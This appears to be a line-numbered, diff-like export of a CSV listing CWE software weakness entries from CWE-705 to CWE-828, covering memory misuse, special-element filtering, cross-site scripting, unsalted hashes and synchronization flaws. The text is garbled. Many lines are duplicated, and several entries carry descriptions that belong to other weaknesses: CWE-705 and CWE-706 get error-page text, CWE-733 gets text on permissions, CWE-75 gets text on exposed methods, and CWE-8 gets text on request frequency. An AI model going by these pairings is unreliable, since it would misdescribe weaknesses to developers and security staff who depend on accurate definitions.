1832 A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.",,unclassified,
1832 A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.",,unclassified,
18331833 CWE-705,Incorrect Control Flow Scoping (Type: Class),"The software does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.
1834 A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.",,unclassified,
1834 A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.",,unclassified,
18351835 CWE-706,Use of Incorrectly-Resolved Name or Reference (Type: Class),"The software uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.
1836 A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.",,unclassified,
1836 A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.",,unclassified,
18371837 CWE-707,Improper Enforcement of Message or Data Structure (Type: Class),"The software does not enforce or incorrectly enforces that structured messages or data are well-formed before being read from an upstream component or sent to a downstream component.
18381838 If a message is malformed it may cause the message to be incorrectly interpreted.
1839 This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.",,unclassified,
1839 This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.",,unclassified,
18401840 CWE-708,Incorrect Ownership Assignment (Type: Base),"The software assigns an owner to a resource, but the owner is outside of the intended control sphere.
1841 This may allow the resource to be manipulated by actors outside of the intended control sphere.",,unclassified,
1841 This may allow the resource to be manipulated by actors outside of the intended control sphere.",,unclassified,
18421842 CWE-71,Apple .DS_Store (Type: Variant),"Software operating in a MAC OS environment, where .DS_Store is in effect, must carefully manage hard links, otherwise an attacker may be able to leverage a hard link from .DS_Store to overwrite arbitrary files and gain privileges.
1843 This may allow the resource to be manipulated by actors outside of the intended control sphere.",,unclassified,
1843 This may allow the resource to be manipulated by actors outside of the intended control sphere.",,unclassified,
18441844 CWE-710,Coding Standards Violation (Type: Class),"The software does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.
1845 This may allow the resource to be manipulated by actors outside of the intended control sphere.",,unclassified,
1845 This may allow the resource to be manipulated by actors outside of the intended control sphere.",,unclassified,
18461846 CWE-72,Improper Handling of Apple HFS+ Alternate Data Stream Path (Type: Variant),"The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.
1847 If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.",,unclassified,No description: http://docs.info.apple.com/article.html?artnum=300422
1847 If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.",,unclassified,No description: http://docs.info.apple.com/article.html?artnum=300422
18481848 CWE-733,Compiler Optimization Removal or Modification of Security-critical Code (Type: Base),"The developer builds a security-critical protection mechanism into the software but the compiler optimizes the program such that the mechanism is removed or modified.
1849 When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution or sensitive user data.",,unclassified,"Writing Secure Code: Chapter 9, ""A Compiler Optimization Caveat"" Page 322"
1849 When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution or sensitive user data.",,unclassified,"Writing Secure Code: Chapter 9, ""A Compiler Optimization Caveat"" Page 322"
18501850 CWE-75,Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (Type: Class),"The software does not adequately filter user-controlled input for special elements with control implications.
18511851 This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.
18521852 The exposure can occur in a few different ways:
18531853 1) The function/method was never intended to be exposed to outside actors.
1854 2) The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.",,unclassified,
1854 2) The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.",,unclassified,
18551855 CWE-756,Missing Custom Error Page (Type: Class),"The software does not return custom error pages to the user, possibly exposing sensitive information.
18561856 The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.
1857 Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.",,unclassified,
1857 Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.",,unclassified,
18581858 CWE-757,Selection of Less-Secure Algorithm During Negotiation (Algorithm Downgrade) (Type: Class),"A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.
1859 When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the software by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.",,unclassified,
1859 When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the software by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.",,unclassified,
18601860 CWE-758,"Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (Type: Class)","The software uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.
1861 This can lead to resultant weaknesses when the required properties change, such as when the software is ported to a different platform or if an interaction error (CWE-435) occurs.",,unclassified,
1861 This can lead to resultant weaknesses when the required properties change, such as when the software is ported to a different platform or if an interaction error (CWE-435) occurs.",,unclassified,
18621862 CWE-759,Use of a One-Way Hash without a Salt (Type: Base),"The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software does not also use a salt as part of the input.
18631863 This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.
18641864 It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.",,unclassified,"bcrypt: http://bcrypt.sourceforge.net/
18771877 The Art of Software Security Assessment: Chapter 2, ""Salt Values"", Page 46.
18781878 How To Safely Store A Password: http://codahale.com/how-to-safely-store-a-password/
18791879 Our password hashing has no clothes: http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html
1880 Should we really use bcrypt/scrypt?: http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/"
1880 Should we really use bcrypt/scrypt?: http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/"
18811881 CWE-760,Use of a One-Way Hash with a Predictable Salt (Type: Base),"The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software uses a predictable salt as part of the input.
18821882 This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.
18831883 It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.",,unclassified,"bcrypt: http://bcrypt.sourceforge.net/
18961896 The Art of Software Security Assessment: Chapter 2, ""Salt Values"", Page 46.
18971897 How To Safely Store A Password: http://codahale.com/how-to-safely-store-a-password/
18981898 Our password hashing has no clothes: http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html
1899 Should we really use bcrypt/scrypt?: http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/"
1899 Should we really use bcrypt/scrypt?: http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/"
19001900 CWE-761,Free of Pointer not at Start of Buffer (Type: Variant),"The application calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.
19011901 This can cause the application to crash, or in some cases, modify critical program variables or execute code.
19021902 This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.",,unclassified,"boost C++ Library Smart Pointers: http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm
1903 Valgrind: http://valgrind.org/"
1903 Valgrind: http://valgrind.org/"
19041904 CWE-763,Release of Invalid Pointer or Reference (Type: Base),"The application attempts to return a memory resource to the system, but calls the wrong release function or calls the appropriate release function incorrectly.
19051905 This weakness can take several forms, such as:
19061906 The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).
19071907 The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.",,unclassified,"boost C++ Library Smart Pointers: http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm
1908 Valgrind: http://valgrind.org/"
1908 Valgrind: http://valgrind.org/"
19091909 CWE-764,Multiple Locks of a Critical Resource (Type: Variant),"The software locks a critical resource more times than intended, leading to an unexpected state in the system.
1910 When software is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.",,unclassified,
1910 When software is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.",,unclassified,
19111911 CWE-765,Multiple Unlocks of a Critical Resource (Type: Variant),"The software unlocks a critical resource more times than intended, leading to an unexpected state in the system.
1912 When software is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.",,unclassified,
1912 When software is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.",,unclassified,
19131913 CWE-785,Use of Path Manipulation Function without Maximum-sized Buffer (Type: Variant),"The software invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.
1914 Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.",,unclassified,
1914 Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.",,unclassified,
19151915 CWE-786,Access of Memory Location Before Start of Buffer (Type: Base),"The software reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
1916 This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.",,unclassified,
1916 This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.",,unclassified,
19171917 CWE-787,Out-of-bounds Write (Type: Base),"The software writes data past the end, or before the beginning, of the intended buffer.
1918 This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.",,unclassified,
1918 This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.",,unclassified,
19191919 CWE-788,Access of Memory Location After End of Buffer (Type: Base),"The software reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.
1920 This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.",,unclassified,
1920 This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.",,unclassified,
19211921 CWE-790,Improper Filtering of Special Elements (Type: Class),"The software receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.
19221922 Cross-site scripting (XSS) vulnerabilities occur when:
19231923 1. Untrusted data enters a web application, typically from a web request.
19311931 The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
19321932 In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.
19331933 Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as ""drive-by hacking.""
1934 In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.",,unclassified,
1934 In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.",,unclassified,
19351935 CWE-791,Incomplete Filtering of Special Elements (Type: Base),"The software receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.
19361936 Cross-site scripting (XSS) vulnerabilities occur when:
19371937 1. Untrusted data enters a web application, typically from a web request.
19451945 The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
19461946 In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.
19471947 Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as ""drive-by hacking.""
1948 In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.",,unclassified,
1948 In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.",,unclassified,
19491949 CWE-792,Incomplete Filtering of One or More Instances of Special Elements (Type: Variant),"The software receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.
19501950 Incomplete filtering of this nature involves either
19511951 only filtering a single instance of a special element when more exist, or
1952 not filtering all instances or all elements where multiple special elements exist.",,unclassified,
1952 not filtering all instances or all elements where multiple special elements exist.",,unclassified,
19531953 CWE-793,Only Filtering One Instance of a Special Element (Type: Variant),"The software receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.
1954 Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.",,unclassified,
1954 Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.",,unclassified,
19551955 CWE-794,Incomplete Filtering of Multiple Instances of Special Elements (Type: Variant),"The software receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.
19561956 Incomplete filtering of this nature may be applied to
19571957 sequential elements (special elements that appear next to each other) or
1958 non-sequential elements (special elements that appear multiple times in different locations).",,unclassified,
1958 non-sequential elements (special elements that appear multiple times in different locations).",,unclassified,
19591959 CWE-795,Only Filtering Special Elements at a Specified Location (Type: Base),"The software receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.
19601960 A filter might only account for instances of special elements when they occur:
19611961 relative to a marker (e.g. ""at the beginning/end of string; the second argument""), or
19621962 at an absolute position (e.g. ""byte number 10"").
1963 This may leave special elements in the data that did not match the filter position, but still may be dangerous.",,unclassified,
1963 This may leave special elements in the data that did not match the filter position, but still may be dangerous.",,unclassified,
19641964 CWE-796,Only Filtering Special Elements Relative to a Marker (Type: Variant),"The software receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. ""at the beginning/end of a string; the second argument""), thereby missing remaining special elements that may exist before sending it to a downstream component.
19651965 A filter might only account for instances of special elements when they occur:
19661966 relative to a marker (e.g. ""at the beginning/end of string; the second argument""), or
19671967 at an absolute position (e.g. ""byte number 10"").
1968 This may leave special elements in the data that did not match the filter position, but still may be dangerous.",,unclassified,
1968 This may leave special elements in the data that did not match the filter position, but still may be dangerous.",,unclassified,
19691969 CWE-797,Only Filtering Special Elements at an Absolute Position (Type: Variant),"The software receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. ""byte number 10""), thereby missing remaining special elements that may exist before sending it to a downstream component.
19701970 A filter might only account for instances of special elements when they occur:
19711971 relative to a marker (e.g. ""at the beginning/end of string; the second argument""), or
19721972 at an absolute position (e.g. ""byte number 10"").
1973 This may leave special elements in the data that did not match the filter position, but still may be dangerous.",,unclassified,
1973 This may leave special elements in the data that did not match the filter position, but still may be dangerous.",,unclassified,
19741974 CWE-799,Improper Control of Interaction Frequency (Type: Class),"The software does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.
1975 This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.",,unclassified,Insufficient Anti-automation: http://projects.webappsec.org/Insufficient+Anti-automation
1975 This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.",,unclassified,Insufficient Anti-automation: http://projects.webappsec.org/Insufficient+Anti-automation
19761976 CWE-8,J2EE Misconfiguration: Entity Bean Declared Remote (Type: Variant),"When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.
1977 This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.",,unclassified,
1977 This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.",,unclassified,
19781978 CWE-81,Improper Neutralization of Script in an Error Message Web Page (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.
19791979 Error pages may include customized 403 Forbidden or 404 Not Found pages.
1980 When an attacker can trigger an error that contains unneutralized input, then cross-site scripting attacks may be possible.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 11: Failure to Handle Errors Correctly."" Page 183"
1980 When an attacker can trigger an error that contains unneutralized input, then cross-site scripting attacks may be possible.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 11: Failure to Handle Errors Correctly."" Page 183"
19811981 CWE-82,Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (Type: Variant),"The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.
1982 Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.",,unclassified,
1982 Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.",,unclassified,
19831983 CWE-820,Missing Synchronization (Type: Base),"The software utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.
1984 If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.",,unclassified,
1984 If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.",,unclassified,
19851985 CWE-821,Incorrect Synchronization (Type: Base),"The software utilizes a shared resource in a concurrent manner but it does not correctly synchronize access to the resource.
1986 If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.",,unclassified,
1986 If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.",,unclassified,
19871987 CWE-822,Untrusted Pointer Dereference (Type: Base),"The program obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.
19881988 An attacker can supply a pointer for memory locations that the program is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical program state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a program variable to an unexpected value (since the value will be read from an unexpected memory location).
19891989 There are several variants of this weakness, including but not necessarily limited to:
19901990 The untrusted value is directly invoked as a function call.
19911991 In OS kernels or drivers where there is a boundary between ""userland"" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).
1992 Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.",,unclassified,
1992 Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.",,unclassified,
19931993 CWE-823,Use of Out-of-range Pointer Offset (Type: Base),"The program performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.
19941994 While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.
19951995 Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.
1996 If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the program. As a result, the attack might change the state of the software as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.",,unclassified,"The Art of Software Security Assessment: Chapter 6, ""Pointer Arithmetic"", Page 277."
1996 If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the program. As a result, the attack might change the state of the software as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.",,unclassified,"The Art of Software Security Assessment: Chapter 6, ""Pointer Arithmetic"", Page 277."
19971997 CWE-824,Access of Uninitialized Pointer (Type: Base),"The program accesses or uses a pointer that has not been initialized.
19981998 If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the program to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.
1999 Depending on memory layout, associated memory management behaviors, and program operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Variable Initialization"", Page 312."
1999 Depending on memory layout, associated memory management behaviors, and program operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Variable Initialization"", Page 312."
20002000 CWE-825,Expired Pointer Dereference (Type: Base),"The program dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.
2001 When a program releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the program to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.",,unclassified,
2001 When a program releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the program to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.",,unclassified,
20022002 CWE-826,Premature Release of Resource During Expected Lifetime (Type: Base),"The program releases a resource that is still intended to be used by the program itself or another actor.
20032003 This weakness focuses on errors in which the program should not release a resource, but performs the release anyway. This is different than a weakness in which the program releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weaknesses, the resource should still be valid upon the subsequent access.
2004 When a program releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.",,unclassified,
2004 When a program releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.",,unclassified,
20052005 CWE-827,Improper Control of Document Type Definition (Type: Base),"The software does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the software to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.
20062006 As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.
2007 For example, the SOAP specification prohibits SOAP messages from containing DTDs.",,unclassified,Apache CXF Security Advisory (CVE-2010-2076): http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf
2007 For example, the SOAP specification prohibits SOAP messages from containing DTDs.",,unclassified,Apache CXF Security Advisory (CVE-2010-2076): http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf
20082008 CWE-828,Signal Handler with Functionality that is not Asynchronous-Safe (Type: Base),"The software defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.
20092009 This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.
